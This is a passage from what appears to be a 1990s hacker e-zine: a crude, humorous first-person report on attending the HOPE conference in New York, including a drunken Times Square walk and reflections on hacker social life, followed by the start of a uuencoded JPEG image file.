Everyone actually mingled, talked, planned and plotted. Plans were thrown
around for the next PumpCon (Boston?), everyone talked about "the time
they were busted the first time," Steele showed up wearing a Chinese
Communist Cap, Fusion cursed at passers by in Korean and almost started
an incident, Lucifer 666 relayed in vivid detail his ex-girlfriend's
Fallon-esque ability (much to the shock and envy of everyone listening),
Count0 told his decapitated dog story, and there was much rejoicing. (YAY!)
As the night went on, Ice-9 and I decided now was the time to actually
check out the seedy underbelly of Times Square. At 1:00 in the evening.
Alone. Drunk. Wide-eyed out-of-towners staggering up side streets in
one of New York City's sleaziest areas.
Within a few minutes of hitting 42nd and 7th, we were approached by a
street hustler. "Yo, what you need? Crack? Smoke? H? You like young
girls? What you need, mah man?" Ice-9, in his drunken glory, "Yo man,
you don't know who the fuck you're dealing with! I'm the biggest fucking
felon in the whole goddamn world. You don't have shit that I couldn't
get, and probably don't already have." The hustler took a double-take
and said, "Yo, I likes your style." Ice replied, "You damn Skippy!"
Shortly thereafter, another hustler showed up. "Yo man, you want crack?
I got the rock right here." Ice looked at him and said, "Man, if I smoke
any more crack tonight, I'm going to fucking explode." The dealer went
away fast.
Times Square isn't quite as sleazy as it's made out to be actually.
I've been in worse. It does, however, have the most extensive and
cheapest collection of European smut this side of Copenhagen. In fact,
the same movies from Holland would have cost 40 American dollars more in
Holland than they did in New York. Beyond that, Times Square had little
to offer anyone. That is, unless you wanted to spend a buck in a
really sleazy peep show to grope some crack whore. I think not.
Somehow, we made it back to the Blarney Rock alive, only to find that they
had kicked everyone out. We headed back to our cell and passed out.
The next morning, I came to early and wandered around the hotel. The second
floor had caught on fire recently, and one wing was completely
barbecued. All the gutted rooms were unlocked and the phones worked.
God only knows why people weren't using these rooms as squatter's pads,
considering how broke most hackers are.
The main ballroom in the hotel was very cool. It was easy to see how
at one point in time the Pennsylvania was quite a sight to behold.
I suppose it was much like New York itself in that respect: Once
a marvel of the modern world, now a festering sore crying out for
a good cleaning and some antibiotic.
We left New York at noon that day, and did not even get the chance to
see the numerous panels scheduled for that day. With my complete absence
from any panel it's doubtful I would have made it anyway.
-----------------------------------------------------------------------------
So, did I like HOPE? Yes. I like cons for what they should be:
a chance to hang out in person with your idiot online friends. Hackers
are an odd bunch. We are all basically a bunch of self-involved,
egomaniacal, borderline-criminal attention-seekers. Rarely, if ever,
can we expect to meet anyone stupid enough to share our interests.
Normal citizens, with whom most of us share absolutely no common frame
of reference, look at us as if we were Martians. Even those
computer-literate folk who talk geekspeak and understand most of
what we are saying are left in the dark when we begin babbling
about breaking into anything.
Collectively, we are all fools, and without the opportunities of
any social interaction with our peers, we will all fall prey to fear,
uncertainty and doubt regarding each other. We had the social aspect
many years ago in the early 80's with the proliferation of BBSes and
teleconferences. Now, much of that interaction is lost. Compared to
our subculture's "Golden Age," the teleconferences and BBSes that exist
today are a pale reflection of the ones of yesterday. All we have is
the inane banter provided by IRC and the occasional con.
Our only hope is each other.
See you all at Summercon 1995 - Atlanta, Georgia.
-----------------------------------------------------------------------------
begin 644 2600VAN.JPG
M_]C_X``02D9)1@`!``$`:@!J``#__@`752U,96%D(%-Y<W1E;7,L($EN8RX`X
M_]L`A``%`P,$`P,%!`0$!04%!@<,"`<'!P</"PL)#!(0$Q,2$!$1%!<=&!05S
M&Q81$1DB&1L>'R`A(!,8)"8C("8=("`?`04%!0<&!P\("`\?%1$5'Q\?'Q\?4
M'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q__`
MQ`&B```!!0$!`0$!`0```````````0(#!`4&!P@)"@L!``,!`0$!`0$!`0$`_
M```````!`@,$!08'"`D*"Q```@$#`P($`P4%!`0```%]`0(#``01!1(A,4$&D
M$U%A!R)Q%#*!D:$((T*QP152T?`D,V)R@@D*%A<8&1HE)B<H*2HT-38W.#DZM
M0T1%1D=(24I35%565UA96F-D969G:&EJ<W1U=G=X>7J#A(6&AXB)BI*3E)66)
MEYB9FJ*CI*6FIZBIJK*SM+6VM[BYNL+#Q,7&Q\C)RM+3U-76U]C9VN'BX^3E\
MYN?HZ>KQ\O/T]?;W^/GZ$0`"`0($!`,$!P4$!``!`G<``0(#$00%(3$&$D%1D
M!V%Q$R(R@0@40I&AL<$)(S-2\!5B<M$*%B0TX27Q%Q@9&B8G*"DJ-38W.#DZF
M0T1%1D=(24I35%565UA96F-D969G:&EJ<W1U=G=X>7J"@X2%AH>(B8J2DY255
MEI>8F9JBHZ2EIJ>HJ:JRL[2UMK>XN;K"P\3%QL?(R<K2T]35UM?8V=KBX^3E&
MYN?HZ>KR\_3U]O?X^?K_P``1"`#>`4`#`2$``A$!`Q$!_]H`#`,!``(1`Q$`?
M/P#Y*(QFJDO!'/:JB.1'T//%`X]J;$A>E)TI#%#LO0D5/;SN)5RW`-)H:9H'$
M)\@G/(//_P!:K,9(&*R9JC9\&8/BS3<CI.#^A-9WBB82>)=3<,1FX8C'UJ%\H
M?R&4%=@P"L#]:<)&`^9`0/0U0#A+&>&4CZBHIDB9ALQP"?TH6@,L0<SL?IU-E
M3N@VG.?J*3!;&6T$9Y:$Y_O*<4KJCHJHXCV],@C_`#^57<5B.6VE8KL&\J<_V
M*<G\NM10*ZWJB1&0^A&*I-$6L=1IN51_7?\`T%7U8%2#U%8,U1F>)@$TY-IXA
M,@_D:Y5AB0?[PK:GL9SW/0=`^6UCSZ#^9K45,MTP?;BN>6YHMBYJ@$?C?P<A2
M8C]S$,#OF0]?SK;_`&NF23QS:[PQQ:@#:<8Z'^M8K^+#YE?89YRR$>&XE'(R8
MX`QS]UZ]"_9%B"_$BX+1"$C3I>3GGYD]:VJ_PY"CI)'!>+Y3)\1[XGRBAO\`%
MD$KG&ZFZC#&]O&S96*.`O(5.#@,G&>V3@?C54]HBENSM_P!GJWU[4-=>[TC4^
M8+5+=Q]I5XBX,6#\J\CGMSGKGMSYM<R"7Q.C%B`9X^@^E$7'VLDET&TU!&GJ8
MA!TW;_TR_JM;OP/A#^+851&)62)L;O1Q[>].7\-A'XT4/CG<@_$O5B4#?OB..
M<]CCM]*R+)\Z5)@``Q]NWR"M:/\`#B3+XF<T8P,U2=<XY[5<6920S8/6D"$4'
MVQ)!M/I2;3Z4!8`"*<G#"@2-C:!Y&<9V9]ZLKP`*Q9LBUI4E^FJVPTL;;LMB-
M%LCA^W7C_P#75)K1M9\02QSMY9)=Y2.N5&6Q^1J59.X/834=,MX6MY[.>X-GU
M.C,A=<OE>&&.!54P7*,H1D96Y&[@@<]1VZ5HG=:D*XX&[0`M#DG(P""P_`<CY
MI3(KA9G*[2"%(YZT670?,7(QB9@6Q@U)(=L9P1Q6;-$1J`J+F.09';!I=L3'O
MEE!]&&/YU/,5RBMI\;#(X'J#D5%-$\4L8,A*`YQZ5497):L:^FKF.3H,/Z8[?
M"K@CV]P#4O<$9WB)Q+;1VXRKAMY8CY<<\?6N=^QS&6/:F[+#[O/Z=JU@[(B2R
M=ST#2X3;V$.Y<?+SQ]:N),%YQTK![E[%W4&#?$3P8H[K:@CZR5L?M0WL2?$$5
M+(2H6!0`"?[J^E8+^)!>I?V&>>ZBP&@(5'!DDQ],/7H/['Z[_']\PXQILO\`K
MZ''6]32E(F/Q(\N\53%O'5S+ZW8/ZBK7B,D:8A!Y`"D>H//]!6L=%$E]3U#]F
ME63R9-5\S*LWEX'3/$G^%>..'&O)(0=JSJ<GV(K*G_'G\BY?PXFMJYWV+(O7J
MR>YP/O)72_L_PB/QDH=T'^K(^;C_`%T8[?6M)_PF*/QHQOC(/-^(>KLSHN+J3
M4`<]G8?TJA9IC2V'!&T#]*UI?PXDM>^S`GNFO9'G=$1GY(08&:H,.1]*J.ADR
MQI7%`7%#!`%I0N*0Q0O/2@+\V`!2`UF0@0@'@)V'&>._<U91.G(K-EHZ#P'8_
MBX\66*MT5F?CU"DC]17+ZE-)9:_-<1*C%)W.UQD'GD$>E1'XVO();%?5M8GU7
M-HOW,5O'#GRXX5VJI)R2*IQW,\$F^.:2-_[P8@_G71%)*QFR==8N0I5RLH.=+
MP;/)/?@CGW[]ZKV>?M"@<9-%DEH"-=D9)WV@\'IC'Z4RX&%;VK(U,^*[N]["1
M)BVT],#UJ9=8F0_O858$=.G%-TXO;<49RB2KJ=JQ!,+1GU7C^5,:X$MT@BE8E
MKUYJ8TY1>I3FFM#=TQSY+KT)<YR,5>.0.<]*EC0HA61<,*KRZ)#.PP@'T%).G
MP%O2;&6RDP9I&3&`K,2!^%:#(4&<?E2;U%8OW'[SXD^%0$SL6S_#YQ5K]IYUU
M?XD2XV$K$@Y(X.Q:QA_%CZ,T_P"7;..U%-NAQ;=N0S'YB,=&]>*]+_9(&WQ7E
MJ$WRAA8RCY`,?>B]*TJNU*1,?C1Y)K69?$D\@EPI?.,'T^E6==A+::H7`)9>O
MWU[UO%Z(A]3U']F2)X5UE]J82W1SN.#QY@XKQJ\\D:O)AY-PD/&SCCWS65+^,
M/.WD7/\`AQ-767$=GAAD>5C@_P"TO^%=K^S780ZCXUVL'4+"7'S#JKQD=O:K3
MJ:4F$?C1R7Q5?S/'6JG:"1=S=3_TU:JUKQ8@=/G`Q^-:T_X:)?Q,YL<`U59@L
M&P3VJT8L3<OJ/SI1CUH8(<(SC(Z4H3TJ2ARKBG1QYE7ZT@-5TR8<$G]T.V!V?
MZ?XUJ6&LV6CZ<WGV<5Y,\N`C=0N.N<<5G)7T*V-SX>S1W/BF.>.#R4,<I$9;G
M=M^0\9KB=6CW:C<'_IJW\ZF&DV-[%18<YH\G.*U)&/`!_"*6SC!NH]JD$,.A&
MIW%8VX(M\TI&`=W&/H._?ZT3V[>4_`/%97LS0P?LUW:LVQ77GM0+R=8_+D16_
M`&T;TSM^E:6A,E.<-!ZW=NP`EM`2!C(;';%+`(/MMOY!898;@W8Y]J%&4>N@G
M.49=+,Z>TC)$O&,NW05/Y&T_>)]<UDRD12226Y+9&`,\MC\OUJ:.XECC64EE'
M4M@[E!Q['O\`I2&7H;HN`2BY_P!DG^M6!*KX&-OU%2T"-6&W#_%_PU%T(^Q8_
M'_`EJ#]J1@OQ4O$#<*D?_HM*SI_Q8^C+?\-G*ZN?^*<4>@S^O_UZ]._8_:-=Z
M6UB209"VCXY]3'_A55OX$B8?&CQ^[?S-9E/NW\JN>)>-&5EX(E4?HU="6Q#Z[
MGJW[,I>'PQXGN#LVK9<EASD>8>/\^E>(W49;7KC@X$KG^=94OX\_D7/^'$UM&
M>#-:*%!)P!Q^'^%=_P#LTV^L+KE\VC26<-^MJ_E?;48QMRG!QSSCJ*TJ-*D[T
MBBO?1P/CV;4)_%E^UPT*SF=S+Y3?)N+$G&><9I8SLB0$@_O1W_VJUA;D5A:\.
MS.=(P*H3</\`A51,9$>*!QT--DH<K..`Q_.G++(O1OTI6&/6XD7N#^%2PW+EI
MQ\BDBILBDS>6/<\6>#Y/&>O4=NU$UJ!AL=*R-$=9\+X]WB%@?X+:0]/;_P"O"
M7'WY4WL^2%)D8\_6IA\;"6A454#'YE/XU(L!/TK1Z$H9+`0I]J73;9FNAE>A`
M';/<4^@&U`GEW,I?.%E&[)R<8&>E3ZQK5MJK3+;:8ELB9"2J<&0>ZUBU=W*U@
M,8M<?W,\]B/ZT+*1]^$GU^6ER]C3F$9+5C\\*C/M_P#6JLL,4.IP&%<`.IX.B
M>_M50YD[$SM8ZG3F(MCP.7;I_O&GJZAR<#D"D]Q$-W`LTHZK@=0I(^E119";E
M4;"QGUZ4(9>L8'1!NZGMG.*NQHQP@'-2P-;0KZWU#XV:-Y9YB>VC`8X.Y"N0=
M/RJI^TC,+CXJZBP:(?+%]XJ/^6:^M94]*L?0M_`SC[_5K233#`DT9D$?3'^TS
M/PZ5Z9^RWJMI:7VN+/=V\4KVRI$A8*79CP%'<\=JNO!^PD3"2YT>0M<1R:S+A
MMG0+N;&6VCTZGBM/6IXY;!5AO+9<2!N+A?0]@?>NFVQDY(](^!6OV4/A#Q+9"
MOJ,(NY[61(HF?#2L(W;@'D\9KQ]]1A_M22<RDH7;MZY_QK*E!JK/3L:3DN2)R
M8U+7+:^BVH)%((Z@>]>B_LZ^+]'\.>(I&U*\-L'*HFZ)FWEN,<`XYQR:TJTY=
M.DTA0FE.YP7C:YC?Q7JFXMN6Y=6P.,@D54.N1F,1B(X&#G/XUO3B^5$2DE)EN
M-ONGZ529=STHD2&B,;@#5FWLXIG"G<.O0TIMH<4+-I\<>[:S?+C&:K&`AL9IE
M1E<&K`(B*GL8B;I5]Z;8D>G>./`T'A"#PW-#<RS-JFB1WT@=0-C,W(![CBN;1
MFC^2N=.Z3-MF=/\`"],:S=-_=LI#C\JXF^M))+N5UB<H7;D#(ZFBGI-DRV,Z<
M:VV-T(IHAQT)%=!F(?-7@2.!]:LZ2TQOD_>':",\]LTFM!HZ"VB9I9A@#Y^F\
MW'8=JBO8/*1P`,`>E8]31,QTUE0/FA<?0YJ:+5[4_>#+CU6FZ;0*:+"W]G*HR
M^8#USQ4.R&;4HS$0P&.@H2:!M&[9Q%;5<#J3_,T/&4/XU`T-^U`3%-V"O7_/U
MX4\.I<%@II6&6871!\JJOL.*MV\I#;AU%2P)&\*KXQ^+UGHZEHC<A4W(0#N$`
M1(_4"L;XM>$]0T?Q0FG7H_TJUL[>"0`AN4B50,@XZ`5-&IRN,?(J<;ILXZ/1&
M9'4'=C/M7IWP0^&=UXC34[VT/^E:5<V=RK;PH\L-(7_55/X5O6JVILSA#WCAP
M;/P#KOB/4IHM(TRZNW+,V(HR0%#8))Z`#(R3P*[73OV>-:O]/CBN_$/A'3)%4
M)#+<ZQ$Q4YZ?N]U5*O&*#V3.W\(?L]Z=H^F@S^/_``@=32Y,@D@OW9#$8]NT>
M_*.<DGZ&L=?V2;J4-&GC'PT\C.&6Y6_'D*A[$$;RV<=!CFL?K-G?]#6-*+5F!
M.;]CKQ(DPMH-<T"\>3:4N8=0401CG.\,-Y/3[JGK6YH'[*7BC0`]A>1Z7J4EG
MY<0-!=V5R6%ML8[MVY1P0PZ?W>AJGBDU9!&C%-7?X'H&N_LPB;Q=#=P>%K*\\
MT^7Y[N1Y%!+D2$G'7@^6,]^3QSFAI_P#@LK>1]5\`:>BQ3)]R-G9D\T[CQ_L^
M8Q6?OI:-FEXOHCY)?A&'M5:)07&1W_I7:CB8OE+YB\'J:L6T>R0')&,U,F.*1
M))!O=UW9R!VIKV;>:!D?=J$[%,B:`PGGO4E@G^G?0?TJB=CVWXSIG1OA^Z@;=
M3X7A&0>,A^:\[:'>F.E8QV1H]V=/\,;?&IZB2,[=/D/_`(\M>W?`KPAX?U_X*
M&FYUZ":>WM]6N'D6*9(R$S$6)+,H``3DYSM+`<FL9ZM_(J)I^._V4]#U;PR_<
MB+P5?71,MN)[:SN,,L@8JP"L<$9'3.><9-?-TVBO&Q6:R7/.=\`'\Q5JY$H]&
MC%U3280<>2B'/\*XJAI%EY=[(0#A6&/S%=$7H9VL;EE`?-DXP-YZ9QT'KS3=%
M1MSY3\=O6I*.<@\/SRS+$K#+,!RM6;[PE>Z=,T4AC8J<9!/^%/VJO8.70M^&C
M_`6N>*-3BTS2=.DO;N4_)%%U./Y#WK9;X::SX9\0W6DZQI\EM>6A`E0X8+D9H
M'(.",=\T.:V#E>Y?BT*2"$?(3R?YFJMQ8-&<D=*R;U*1P^L0R)J$H+9PW&:K>
M+/<1D;)7&.F&-;JUB>IL>'KFZGO`LK%T1>YZ?XUUEI'O=5QR2*QJ:,N)U7P^B
MA/\`PT)I7'"2_P`HC5;]H*U-U\2=4N5!.R11Q[`"N.+M./H;_99Y5+I\D+*FY
MQU.!D$5]#_LB6+G3O%ZEECW6\$89C@#/G<G\ZZ:[3I,S@K2//_''C*71DD\+>
M>'+ZYFTI5(M85&1/(6R\SC&,D]!GY5_,]OX/T*UO'=KKRW=55>HQQUQZ\YK..
M,7&-WU*JRB[6^9Z#I7AJPC`^6*,#LH&35K4[&"&+RDAV@]^<FJ1!S-WX9BN)6
M-R1@GWKL_AUX$EN+@75R\PMHC\L>XX=O\!6].*D]3.4FMCT2'3$L[4VD!DAA,
M/.V*1D'Z&O._B)\03\,==L(I-<UCR+H;?)699`')X),G10-Q//:KJPA%72'1V
ME.I)1/AIQ\K?2H[>VGD8-%"[@-C(&>U7>R,WN*;6X60?Z-*.3_":GMXY!.5,$
M$@Y/:IDUW*2L/(V2N2K#@=13_-!D7Y&^[4#&-"T\N$5B?3%7],\,:Q<7I,&EW
M7TO!^Y;NW;V%.Z6X<K>Q[QX5\/7GCSP?9>$/%6AZ[IDVF!CI.KKI<LJ*CL"\B
M,B@9QG!![8[8YV+#]D#6M1A,MIXATXH#MS+#)&?R(S7/SV=D:\FEV0:K\`]7D
M^$>FWNLZAJNFW:2P-;JEOYFX,?FSRH&,*>]6_P!G[X467CGX?>=J?B76H+*6]
M\D#:=;2!(25(^8YR">G\/:I<K78))GTE!IZ6^D:?I4"3_9+&".!/+E`F=4"[1
M?GX_NC/KS42Q"S79%H>LNH];Z-O_`$-ZA^:*7D5I=*T_490M[X-U"13U:5;"X
M0#\W)J#5?@KX=O\`]YIMAX=M78@L+O0H)O\`T`H?U-$8I;:!*3]?O_4XC6O@^
M+X@MVEDL_"GP]U.(L2!%!-:R$?3<5!_&N$U[P!?Z86BU#X"-<O\`WK&_N"I_G
M%"P%:6:ZD73V,"X\(Z=','D^#/BBRQWAOICC_ON$U8U+P]X$D>W_`+5T'QC8E
MRRC*YDBY('3YD&:A[Z,.FJ-WX91>$?!/BJS\0:(OBYGC5@T+VL3B1".5.UL^.
MA^H%>UZ+XJ_X2[Q"C6NDZM9V=P#'=PWVBXCFP#@F4],>^1VP*:=]PV,SX@?`U
M?2/$\HO=&M$TZ3!61(81Y3GU`'0_05X[XZ_9[UW0[87$5HUTC';^Y1B0?<8IK
MNZU)L>-:_P#"S6+66XFO-(OK9=XVO+;LJD<=R*YFY\%7$3M]TJHSTK2-6PFBE
MSI'AZ2RU*>+:?D5.,=R,FNHTW36:[A4@@%U'3WI2E?4I:'2>$K*>T^-MG?>6`
MWE+=2+OQQ\L8R/PWC\ZYG]H"^D/Q!U/;*RPF7D`G&<GMT[5STK.I'T-).T3'@
M\)^`O%/C>UGU/2]*O[^(3;#+%&[C<`,C(/7D5Z!;MJ_P7^%NMC44FMM7\12B[
MUMK>52K10QJ?,E(/(SO(_"MZG*_<(BVM3Y]DNIW9I$(5`V,@"A-:U&V(,=W(^
MI'3%=O*CGYF;VD?$_7K%U5]3OD4<;HKEUQ^&<5ZMX#\7:[XF_=?VW<2PK$SLL
MQ?<?1>3G')&?;-93II:EQF:=YXW\2^%UCEN+^QD60GRP\*;FQZ!5!..*]]^%Y
M&I^)-=\(6-Y<M#"\\7FHABP`O.WC(/(P?QJJ='=ILB5:/8W9[C7X\D_9)!VVA
MQ$$?^/FOF7]I[6[RPU*.VU6R=I[O]]!<QN%$:+\NS:RL&^\3P1U%;.C=;DTZ8
MRC+W=&>`>;`?XS_WS39)A'M,$KJ0W."161HR+^T+N.0;;F48/]\U.OB+4T+@2
M7TQ"]`7)'44I4XO=`I-&SH[7]Q);76K:@]AI]QD^?Y/F.ZJ<$HF1NYR,D@9!P
M&<BO:_!GQ'^"'A&*-Y?#NOZY=JOS7&H+%@_2,-M`^H)]ZYYP5[)&T6TCT;2/)
MVMOA?IN$L?"EY:CT@MH5_DPK>M?VP_AY)@/8:O#]88^/_'ZCEY=D%V^IMV'[9
M57PRN1AM0N;?VDM\_P#H)-=%IGQY^&^I\0>([92/^>L;Q_JR@4W)):H7*^AQ3
MW[1'B[P]KWP]VZ/J]A>NL^YD@G5V4;'Y(!R!G%:'['5M&/@=IKX'[RZN6/\`F
MW]8?TI*SD/5(]F$*Y'MTH\@`5IRF?,)L4'''Y4P6T*$E40$\G"CFIY4--H06X
ML(D\P`@_[+$#\A3)+682.\-]*I/1'"NBG\@?UHM;8=^YROC.^UV/3YK)XTM#-
M(R"/4[8EPOS`D.A&Y,C(R"V,U/X7\2^'?'5M,VE3>>+8A';R60H6SC!8`]!U*
M%9.SERR-$K1NC5715CMS%#>7B>C>>78?]]9K,F\%7$SECXEUDY.=I:$#Z<1BY
MJY+:$\QTMLWV>!(54[44*,MDX%8'CGP[/XHTMX+6[FM;A1F)UD*@-[XYQ5RUZ
M5B4K,\QM_AM\4M#D=[/Q#!/DDJKS%QCC`PZ?6J^I>$_%]XTG]N?#WP[JZ%?F'
MDB6..5O^!!L_I67)J.[1B2?"[PU=:C*]]X%\2:([%0TMLYGAZ=<L"<#VINJ_>
M!;0K/3O[2TKQ''</`5D-HT/[W&X#L<\9]*):(:/(KOQ&-/\`B!#IZ1;6@U"YF
MF,Q;A@\*#;CMCRL]>]<7\2=<M9O&=\+N)YHYU^8QL`0<L1C((I48>\K=@F]+_
M&KIWQQE\*Z`-.\):OXFTZ8']W`_V22#)//`B!YK!^+/Q&O?'^KWVIWQ5?LUNY
MEM%&CDK'(YR^,]N)!^(K=4FIJ3,Y2]VQYL9B+=(QV)8T`!P!@$XYKLV,C:L_%
M#EG-X8N=3>259XFVH@88/([8^M;/@[Q/<>$-"N+JRF,=U<2>7"_'RA1@]?\`[
M>!_"LE)S33[E62.W_9^\$W7Q*\8RZE?R2M8V<BW%TQZRMG*)^.W)]E^E?9VC6
M*L5M(0`.,``=!76HJ,+(Y)RO.PKX"''3O7S/^V-I=["FEW^U9K"1S&NX?-;S^
M=\'^ZZCD>L8/KEA#XCYB`QW%."Y8=.M<YU$;C$N,CK4MI8FZEES((XD&Z1R//
MNC^I]!0W8:+-S=R3I&FYS%"FR(,V=BY)Q^9)^I-,497KV]:C8HN64-I'#(\[.
M3>=M!A5,;<Y&=Q^F<8'4_G;MG!V-+SDXV`^^*AW`E\502:)JSVBS9VQHS`'[\
MK%064^X;(_"LVWN)WY\QP>WS54+.*8GHSM?AS>W4BZS'-<2LBV1P&<D`[A7I0
M'[,FEZ_XE>6RTO6[K2H(%:225$!526PHR,')/;/0&L904I-%J;BKGN&K^,/B\
M1\*HX[G4-1T_7--\Q8_,;=OY.,LIY'X.WTKUK2_&%KJ?A.'7Y,6L#0&60,V1`
M'MSNY[@$'GO4N\-&/26J/.)/VA]*)N99/]$@B#!/.;,TC8&W;$.QSU+#&*SH]
MOVC=+N(%9M=M[28@;EETUV`/U68YK#G;V+LEN4-=^/'B:VT6XUC0;_PMJ]E:J
M2(ET-L\,L._.TE6/W21C(/6N9MOVI?'=X?W.CZ!*H/)620_UJKL+(NS?M">,%
M-8T^XLI]$M!'/$T;M%N#`$8."6.#CVK!\#?%'7?`DES'9V*R17#`M%(,!3VQ1
M@UDW+FN-6M9'<0_M"^(F4%M!BQ[,?\:M1_M`ZWCYM`C_`._A_P`*I3D*R%7]]
MHG5@VUM`AR/6X(_]EJ9?VA=4/3P[$WTN^?\`T&JYVA)(7_AHC4>G_",#/_7WN
MT_\`':5?VBKA0!)X8?CKBZ!_]EHYV.Q-'^T9$2-_AZZ7_=F4_P!*HZY\;-$U(
MZV:UG\/7R32?*DOR?*W8GGI1*>FJ"*L]#YV\3ZQHT^H1PR07D-VNLW#/=1*KO
MC8T("@*S`$AAD].">:\U\3^9>:I)&RQDJVWS3"8V/U`R/U-51C[R?D:2J>YR?
MM&_X&L;'2=,U37;RVB=M'L&>&13P;EV"Q9XZC+-_P"O-;EVDBR2Q:1]Q]#C_`
M`/6:ZZ=W)LYJC5DDB":,HP7'3M3@CH20M;&1<MKZ:"RFMW9MCX(7MD5=NE":6
M;:6APK;-Q/;YN?Z_I4VL]!GU-^R=;65GX$OEMI-TQOCYOS*<?NTQT_&O>=.'>
ME6A)QD]JZ6[Q./[;(YGV`9.,5X'^V%J5NG@S3;%B/.EOA(@_V51@3_X\OYT#$
MC\1\F@<U)$N9%Z=17,=A,ME]LN]J%%4<NYZ(O<FI)YDF(@ME9;5#D<89S_>;L
MW]NP_$F65L=5XY@\/Z9X8\-Z;IUNR:D(6GU*1QS(94C="#_=`.`.V#ZY/+6Z>
M@YRJG`J(WY=0ZEA".`%`XQTK:\"Z2FJ^+K:V,/FJ"9)$_O*@W,/J0"/QJ9/EP
MBV-;F5XRO7U'Q3J4[R>:3<.OF8QO`.`WXXS52T7&23C`Q6D5:*1)UWP[!%MKS
MDN"!]DQG_@0KZD_90T:TT[X2V%]#'BXOYI9)G[G;(R*/H`OZFIC\;_KH$](G+
M4_$!&O;*'2(U66YU&X2"!"<?-N!W?0=3]*S_`(_>++;X?^!K3PQ8.JI#;*9`"
M6QE%^5%/^\_)^E9XAWE8=%6B?'-SK<FH.UU=D3O)M9PQY[?=]!UXKZA^"W[+!
MG@GQ5\/],U_75U&2[OXO/VK/L5%)RN`!Z8Z^M+6.B-%:UR?XO?`3PW\-/ACX#
M@NO#T^H![I(_-$\JNH6-C)Q@`\D=237B/[/<,5[\0KNTGB5XI-,G?8PX+HNYP
M3CZ!JG^9!V/=K2&W31;Y].6*VFCM]ZND2DC;U(R"/X2.?6O,-5^)]D]UY=];T
M7C3!R@):)22/]U1GI7(GJ:V)(OCQ;0HJIYN`N5R\1XQU^[0O[0$,C;%#%CT&.
M^+_XGW'YU7)+L%T:N@_$5]<NV:6(QH5(7?M/(V],*/[U4_$WQ7O=*U1=-T:QK
MBO)TC\ZX>241QQ+VRW3/U_6E"'-*SV!NQK>&?BQ_;$,D-U;R6=]!CSK=V!(!G
MZ,K?Q*?6LJ;XVF.5XO[-D+H_ELHE'!RJ]<8/+`<4.G:5@OH;H\>0S0J^U"K`_
M$9]*J7'BN&Z80JL8+'`P!4,#QW4IH1JD-PS;D&NLKKGH""*9X[@M++4_/CGBC
MB210RK(V-V."`?;BNNGND9RT1IPVMH_POTV#6;P0PZO?3SB8O@.D`$<:[CZ-\
M)*?PKSN/1+BZBO+O3,BPM)`/WC*Q`=B$X[GCL*ZJ<D[JVM_^`8U(\J4KZ=NI2
M)<VVN6#SPS6FGLENGF3'[#;R%5)VY+[#W('7K5=I[>WAB%QHMA).PWDMYB?*2
M1\N0CC'K^57R]F9IHSDBBFF4?9E3+`;4<@8_X%G%77-P;B5A'&(R,8=0=H/Z1
MU5@O8^F?V2+^V;1=2TA67[0DXN3GC>K*%SC/^R,_[U?0BQ[8PJG:H%;<VB,)S
M*TF4[O,3;B5;%?+O[2VO_P#"47=MI%C(DL%BS/*RN"&D/``Y[#/YTTUL0M)'S
MSRO'M4]I;O/.D42L[L0`H')-<[T.TLW)6-&M8&RA(\Z0?\M&'8?[(_4\^F'VH
M=FTDB@?*O%0]"CK/BG9V\>NZ:+1I'$6C6"7#'[HF,"G`_P"`[?QS7+)"48\];
MJB/PH$A50EPHKTKX.:.MFFO>(YH0T-C:[5)."K8,FX?]^L'_`'JRK.T&AH\H4
MD0O*6.22:M+'MBV@8+''^?RKI).X\"6@@T#7)=IQ]G49[`\_X?H:^I/V8@J?%
M`_P\QZD7'_H^2LX?&_ZZ!/X3J/";PZQXRU3Q3=2*FFZ'&UI;.WW?-QF63/\`%
MLKQ_P(^E?/7Q/\;1>-]=U*2ZYBN"<*QY1!PB^Q"\_CFN:;;E<TM:-CP_QC:)C
MIS:;]F8XFL49@/524)_$IFOL;X._M#^$[#X4>'-/BNX)M2MK*.VFM?.5&1T`6
M4Y!^;!QG(!'-;3;Y4T@75&!\;_B%-XL^'6J2SW5O#`;NU@"6Y)P&68D$GU&/E
M;BO(_P!G6,6?Q=L;=N1-#<QYSU!MI<5A"3L[EM=CT[P-KWVW4+G3BW,UO+&H>
M^JG'ZYKR#QA'!_:_ER/$I2[\W$A^\O.1]?FK"G\1?0YV'3A'8O:^?`\32HS,D
MK$F,CL..<JOMCFE%NMFEM*ODO)$IBE)9N7PN#TY^[_2NKFN[$)6.PLKYH]!B=
MO+<_<NBF<8^\I_\`B*Y;6-36\U/4(YW=1<7MLDH5BI:/9C'TY-9TE:3_`*ZCB
MD.AU=M$U:!8IG/V>X$"[VRQ@D48&3U`<'%0R^)K>UOYXKC3XG4.54AV7^(\DO
MDGCE?Y]@*MQYM1)V+Z?$5Y51;>S79&GW%EY``XQQZ#\S^-;NAZP]_/92XV^8$
MRG`.0/QK&=/D6IHG<\SN[V5?%4J;CY;WX8C/<,0#^IKI?%UF^L:.FTYD@?<NY
M03QT(_45TOW919ENF>K_``VNM$\1_#'0?"WB33_#UW]C\XP0SW$EM/"S.S'<;
MZ,>O7E0#D=ZYI1\*Y(9HGTOQ7I2/PR6>IQS1GD'[K1J3R`>O85WQPKDWR.WJ9
M<DZRC;F5SG-9A\)ZGKYM],\5ZO'%=Q".[FU'3E^500P7]VS$\H.0!^62+MQ\Q
M%;36"UQ9_$OPG.S`<7-Q);/P,`?O(U'`&*F-&M:ZC?T'S4EI>Q3/[.7C(?OK7
M%;#58P>#8:A!<$Y]%5RWZ57U/X0>-])L0UQX2USS0WSL;"7:1R?O%<>E9\Z3#
ML]"G!M:'4_!37)OAUXB>_P!4Q80B$K*DYVEER,@`\Y`!;'.<8[BOJR#7H[BSL
MCN8)(IX9%#)(AW*P[$$5JFC"<7'<\\^-?Q/_`.$3\/!(XW\Z[8Q*4?:57'S$&
M?H/QKYPDUFQU>9A';/!@9RY&/SIZW,U%O4X'0M`U+Q%J,6G:387-]=S'$<$$C
M9=V^@%>BM\%O&G@.</J>D7VG70X>=[4R1(A&"%=0R'()SS[5SU)65COC%WN9U
M_B;P/=3ZY-/8V2_9[AO/ACAP0$;G"CK@'*_\!/I59/".K6@R;*='&`IE3:OX]
MDBL/:I*S*Y'T-)=`O=?T^>SN+BVBO$G22$,26F^4)MWXV@*JC[Q7\<\03?"?-
M6[25([V2&T,@RCROB-Q_LR`%&_!C4/$0AH4J3>ITEA^S]=F(-<ZJ(G(Z)"T@R
